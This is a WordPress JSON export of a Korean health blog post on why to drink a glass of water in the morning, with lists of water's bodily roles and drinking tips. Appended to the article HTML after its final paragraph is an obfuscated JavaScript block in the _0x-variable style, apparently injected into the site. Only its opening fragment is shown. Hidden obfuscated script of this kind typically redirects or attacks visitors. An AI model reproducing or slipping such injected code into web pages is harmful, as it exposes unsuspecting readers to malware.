{"id":3953,"date":"2021-04-20T00:30:17","date_gmt":"2021-04-19T15:30:17","guid":{"rendered":"https:\/\/aligns.co.kr\/?p=3953"},"modified":"2021-10-12T12:55:50","modified_gmt":"2021-10-12T03:55:50","slug":"1-%ec%95%84%ec%b9%a8%ec%97%90-%eb%a7%88%ec%8b%9c%eb%8a%94-%eb%ac%bc-%ed%95%9c-%ec%9e%94%ec%9d%98-%ed%9a%a8%ea%b3%bc","status":"publish","type":"post","link":"https:\/\/aligns.co.kr\/1-%ec%95%84%ec%b9%a8%ec%97%90-%eb%a7%88%ec%8b%9c%eb%8a%94-%eb%ac%bc-%ed%95%9c-%ec%9e%94%ec%9d%98-%ed%9a%a8%ea%b3%bc\/","title":{"rendered":"\uc544\uce68\uc5d0 \ub9c8\uc2dc\ub294 \ubb3c \ud55c \uc794\uc758 \ud6a8\uacfc"},"content":{"rendered":"\n<p>\uc544\uce68\uc5d0 \uc77c\uc5b4\ub098\uba74 \uc81c\uc77c \uba3c\uc800 \ubb34\uc5c7\uc744 \ud558\ub098\uc694?<br>\ub300\ubd80\ubd84\uc758 \uac74\uac15 \uc804\ubb38\uac00\ub97c \ube44\ub86f\ud558\uc5ec \uac74\uac15\uad00\ub9ac\uc758 \uace0\uc218\ub4e4\uc774 \ud558\ub098\uac19\uc774 \ub9d0\ud558\ub294 \uac00\uc7a5 \uc911\uc694\ud55c \ub8e8\ud2f4\uc774 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\u201c\uc77c\uc5b4\ub098\uc790\ub9c8\uc790 \ubb3c \ud55c \uc794\uc744 \ub9c8\uc154\ub77c\u201d<\/p>\n\n\n\n<p>\uc6b0\ub9ac\uc758 \ubab8\uc744 \uc774\ub8e8\ub294 60%\uac00 \uc218\ubd84\uc774\ub77c\ub294 \uac83\uc740 \ubaa8\ub450 \uc54c\ub9cc \ud55c \uc0c1\uc2dd\uc785\ub2c8\ub2e4. \uadf8\ub7ec\ub098 \uadf8 60%\uc758 \uc218\ubd84\uc774 \uc778\uccb4\uc5d0\uc11c \uc5b4\ub5a4 \uc5ed\ud560\uc744 \ud558\ub294\uc9c0 \uadf8\ub9ac\uace0 \ucd5c\uc801\uc758 \uc218\ubd84 \ub300\uc0ac \ud658\uacbd\uc744 \uc81c\uacf5\ud558\uae30 \uc704\ud574\uc11c \uc5b4\ub5a0\ud55c \uc2e4\ucc9c\uc744 \ud574\uc57c \ud558\ub294\uc9c0\uc5d0 \ub300\ud574\uc11c \uae4a\uc774 \uc0dd\uac01\ud574 \ubcf8 \uc801\uc740 \uc5c6\uc744 \uac83\uc785\ub2c8\ub2e4. \uc218\ubd84 \ub300\uc0ac\ub77c \ud558\uba74 \ub540, \uc18c\ubcc0, \ucd09\ucd09\ud55c \ud53c\ubd80 \uc815\ub3c4\ub97c \uc0dd\uac01\ud558\uae30 \uc27d\uc9c0\ub9cc \uadf8 \ubc16\uc5d0\ub3c4 \uc2e4\uc2dc\uac04\uc73c\ub85c \uc0dd\uba85\uacfc \uac74\uac15\uacfc \uad00\ub828\ub41c \uc218\ub9ce\uc740 \uc5ed\ud560\uc744 \uc218\ud589\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>[\uc218\ubd84\uc758 \uc5ed\ud560]<\/p>\n\n\n\n<ol><li>\uc18c\ud654\ub41c \uc74c\uc2dd\ubb3c\uc758 \uc601\uc591\uc18c\ub97c \ud761\uc218, \uc774\ub3d9<\/li><li>\uccb4\uc561\uc758 \uc0bc\ud22c\uc555\uacfc \ud608\uc561\uc758 \uc801\uc815\ud55c \ub18d\ub3c4\ub97c \uc720\uc9c0<\/li><li>\uc5f4\uc758 \ubc1c\uc0dd\uacfc \ud750\ub984\uc5d0 \uc791\uc6a9\ud558\uc5ec \ucd5c\uc801\uc758 \uccb4\uc628 \uc720\uc9c0<\/li><li>\ub540\uacfc \ub300,\uc18c\ubcc0\uc744 \ud1b5\ud55c \ub178\ud3d0\ubb3c \ubc30\ucd9c<\/li><li>\ud638\ub974\ubaac\uacfc \uc2e0\uacbd \uac10\uac01\ub4e4\uc758 \ud654\ud559\ubc18\uc751<\/li><\/ol>\n\n\n\n<p>24\uc2dc\uac04 \uc274 \uc0c8 \uc5c6\uc774 \uc774\ub8e8\uc5b4\uc9c0\ub294 \uc2e0\uc9c4\ub300\uc0ac\uc5d0 \uad00\uc5ec\ud558\ub294 \uc218\ubd84\uc740 \uc218\uc2dc\ub85c \ubcf4\ucda9\uc744 \ud574\uc918\uc57c \ud558\ub294\ub370 \uc7a0\uc744 \uc790\ub294 6~8\uc2dc\uac04 \ub3d9\uc548 \uc218\ubd84 \ubcf4\ucda9\uc774 \uc911\ub2e8\ub418\uba74\uc11c \uc138\ud3ec\uc758 \ud658\uacbd\uc740 \ub9c8\uce58 \uae30\uc544 \uc0c1\ud0dc\uc5d0 \uac00\uae4c\uc6b4 \ube44\uc0c1 \uc0ac\ud0dc\ub85c \ubc1b\uc544\ub4e4\uc774\uae30 \uc27d\uc2b5\ub2c8\ub2e4. \uc544\uce68\uc5d0 \uc77c\uc5b4\ub098\uba74 \ubed0\uadfc\ud55c \uadfc\uc721 \ubb49\uce68, \uc785 \uc18d \ub9c8\ub984\uacfc \uc785 \ub0c4\uc0c8, \ud478\uc11d\ud55c \ud53c\ubd80, \uc5b4\uc9c0\ub7fc\uc99d \ub610\ub294 \ubbf8\uc138\ud55c \ub450\ud1b5, \uc190, \ubc1c \uc800\ub9bc \uc2ec\ud558\uba74 \ubc1c\ub05d \ub610\ub294 \uc885\uc544\ub9ac\uc758 \uacbd\ub828\uc744 \ub290\ub07c\uae30\ub3c4 \ud558\ub294\ub370 \ubaa8\ub450 \uc218\ubd84 \ubd80\uc871\uc5d0 \uc758\ud55c \ud604\uc0c1\ub4e4\uc785\ub2c8\ub2e4. \uc774\ub7ec\ud55c \uacbd\ud5d8\uc744 \uc790\uc8fc \ud55c\ub2e4\uba74 \uc544\uce68\uc5d0 \uc77c\uc5b4\ub098 \ubb3c \ud55c \uc794\ub3c4 \uc911\uc694\ud558\uc9c0\ub9cc \uc77c\uc0c1\uc5d0\uc11c \uadf8\ub9ac\uace0 \ucde8\uce68 \uc804 \ubc18 \ucef5 \uc815\ub3c4\uc758 \ubb3c\uc774\ub77c\ub3c4 \ubcf4\ucda9\ud574 \uc8fc\ub294 \uac83\uc774 \uc88b\uc2b5\ub2c8\ub2e4. \uc218\uba74 \uc911 \uc218\ubd84 \ubd80\uc871 \ud604\uc0c1\uc774 \ub098\ud0c0\ub098\ub294 \uacbd\uc6b0\ub77c\uba74 \ucde8\uce68 \uc804 \uc218\ubd84 \uc12d\ucde8\uac00 \uc218\uba74 \uc911 \uc18c\ubcc0\uc744 \ubcf4\uace0 \uc2f6\uc740 \ud604\uc0c1\uc744 \uc77c\uc73c\ud0ac \ud655\ub960\uc740 \uc801\uc2b5\ub2c8\ub2e4. \uadf8\ub807\ub2e4\uba74 \uc544\uce68\uc758 \ubb3c \ud55c \uc794\uc740 \uc5b4\ub5a4 \ubcc0\ud654\ub97c \uc8fc\ub294\uc9c0, \ubb3c\ub3c4 \uc798 \ub9c8\uc2dc\ub294 \ubc29\ubc95\uc740 \ubb34\uc5c7\uc778\uc9c0 \uc54c\uc544\ubcf4\uaca0\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>[\uc544\uce68\uc758 \ubb3c \ud55c \uc794\uc740]<\/p>\n\n\n\n<ul><li>\uc218\uba74 \uc911 \uc2dd\ub3c4\ub97c \ud0c0\uace0 \uc62c\ub77c\uc628 \uc785 \uc18d \uc704\uc0b0\uacfc \uc138\uade0 \ubc88\uc2dd \uc5b5\uc81c<\/li><li>\uc138\ud3ec\uc758 \uac08\uc99d\uc744 \ud574\uc18c\ud558\uace0, \uc138\ud3ec\uc758 \uae30\ub2a5 \ubc1c\ud718\uc5d0 \uc88b\uc740 \ud658\uacbd \uc81c\uacf5<\/li><li>\uc218\uba74 \uc911 \ub192\uc544\uc9c4 \ud608\uc561\uc758 \ub18d\ub3c4\ub97c \ubb3d\uac8c \ud558\uc5ec \uc6d0\ud65c\ud55c \ud608\uc561 \uc21c\ud658<\/li><li>\ubc24\uc0c8 \ucd95\uc801\ub41c \uc18c\ubcc0\uc758 \ub18d\ub3c4\ub97c \ubb3d\uac8c \ud558\uc5ec \uc18c\ubcc0\ub7c9 \uc99d\uac00<\/li><li>\uc7a5 \uc6b4\ub3d9 \ucd09\uc9c4 \ubc0f \ubc30\ubcc0 \uae30\ub2a5 \ud65c\uc131\ud654<\/li><\/ul>\n\n\n\n<p>\uc0b4\uc544 \uc788\ub294 \ubab8\uc758 \uc2e0\uc9c4\ub300\uc0ac\uc758 \uac00\uc7a5 \uae30\ucd08\uc801\uc778 \ud658\uacbd\uc744 \uc81c\uacf5\ud558\uae30 \uc704\ud55c \uccab \ubc88\uc9f8 \ud544\uc218 \uc870\uac74\uc740 \ubc14\ub85c \uc218\ubd84\uc774\uba70, \uc790\ub294 \ub3d9\uc548 \uc190\uc2e4\ub418\ub294 \ub9ce\uc740 \uc218\ubd84\uc744 \ubcf4\ucda9\ud574\uc57c \ud558\ub294 \uac83\uc740 \ud558\ub8e8\ub97c \ub9de\uc774\ud558\ub294 \uac00\uc7a5 \uc911\uc694\ud55c \ub2e8\uacc4 \uc785\ub2c8\ub2e4. \uc778\uccb4\ub294 60%\uc758 \uc218\ubd84 \uc911 3%\ub9cc \ubd80\uc871\ud574\ub3c4 \uac08\uc99d\uc744 \ub290\ub07c\uba70 \uc218\ubd84 \ubcf4\ucda9\uc758 \uc2e0\ud638\ub97c \uc8fc\uac8c \ub429\ub2c8\ub2e4. \uc218\ubd84 \ubd80\uc871\uc5d0 \uc758\ud55c \uac08\uc99d\uacfc \ubc30\uace0\ud514\uc758 \uc2e0\ud638\uac00 \uac70\uc758 \uc720\uc0ac\ud558\uac8c \uc804\ub2ec\ub418\uae30 \ub54c\ubb38\uc5d0 \ub300\ubd80\ubd84 \uac08\uc99d\uc744 \ubc30\uace0\ud514\uc73c\ub85c \uc778\uc2dd\ud558\uc5ec \uc77c\uc5b4\ub098\uc790 \ub9c8\uc790 \uc74c\uc2dd\ubb3c\uc744 \uba3c\uc800 \uc12d\ucde8\ud558\ub824\ub294 \uc695\uad6c\ub85c \uc778\ud574 \ubb3c \ubcf4\ub2e4\ub294 \uc8fc\uc2a4, \uc6b0\uc720, \ucee4\ud53c \ub4f1\uc744 \ub9c8\uc2dc\ub294 \uacbd\uc6b0\uac00 \uc788\ub294\ub370\uc694, \uc544\uce68 \uacf5\ubcf5\uc5d0 \uc8fc\uc2a4\uc640 \uc6b0\uc720, \ucee4\ud53c\ub294 \uc704\uc0b0 \ubd84\ube44\ub97c \ucd09\uc9c4\uc2dc\ucf1c \uc18d\uc4f0\ub9bc\uc740 \ubb3c\ub860 \uc704\uc7a5\uae30\ub2a5 \uc545\ud654\uc5d0 \uc601\ud5a5\uc744 \uc8fc\uba70 \uad81\uadf9\uc801\uc778 \uc218\ubd84 \uc12d\ucde8\ub7c9\uc740 \ucda9\uc871\uc2dc\ud0a4\uc9c0 \ubabb\ud569\ub2c8\ub2e4. \ub530\ub77c\uc11c, \uc544\uce68\uc5d0 \uc77c\uc5b4\ub098 \ubb3c \ud55c \uc794 \ub9c8\uc2dc\ub294 \ub8e8\ud2f4\uc740 \uc758\uc2dd\uc801\uc73c\ub85c \uc2e4\ucc9c\ud558\ub294 \ub178\ub825\uc774 \ud544\uc694\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>[\ud558\ub8e8\uc758 \uac74\uac15\ud568\uc744 \uc88c\uc6b0\ud558\ub294 \uac74\uac15\ud55c \ubb3c \ub9c8\uc2dc\uae30]<\/p>\n\n\n\n<ul><li>\uc57d 30\u2103 \uc815\ub3c4\uc758 \ubbf8\uc9c0\uadfc\ud568\uacfc \uc57d\uac04\uc758 \uc2dc\uc6d0\ud568 \uc0ac\uc774<\/li><li>200ml ~ 400ml \uc591\uc744 \ucc9c\ucc9c\ud788 \uc74c\uc6a9<\/li><li>\uc0dd\uc218 \ub610\ub294 \uc605\uc740 \ubcf4\ub9ac\ucc28 (\ub179\ucc28, \ucee4\ud53c, \uc8fc\uc2a4, \uc6b0\uc720 \ub4f1\uc740 \uae30\uc0c1 \ud6c4 \uc77c\uc815 \uc2dc\uac04 \ub4a4 \uc12d\ucde8)<\/li><li>\uc591\uce58 \uc804, \ud6c4 \uc0c1\uad00 \uc5c6\uc73c\ub098 \uac00\uae09\uc801 \uc591\uce58 \uc804 \uc12d\ucde8<\/li><\/ul>\n\n\n\n<p>\ud65c\uae30\ucc2c \ucee8\ub514\uc158\uc758 \uc131\uacf5\uc801\uc778 \ud558\ub8e8\ub97c \uc2dc\uc791\ud558\uace0 \uc2f6\ub2e4\uba74, \ucd5c\uc18c\ud55c \ubd88\ud3b8\ud568 \uc5c6\ub294 \uac74\uac15 \uc0c1\ud0dc\uc758 \ud558\ub8e8\ub97c \uc6d0\ud55c\ub2e4\uba74 \uc9c0\uae08 \ubc14\ub85c \ubb3c \ud55c \uc794\uc73c\ub85c \uc798 \ub3cc\uc544\uac00\ub294 \ubab8\uc744 \ub9cc\ub4e4\uc5b4 \ubcf4\uc138\uc694.<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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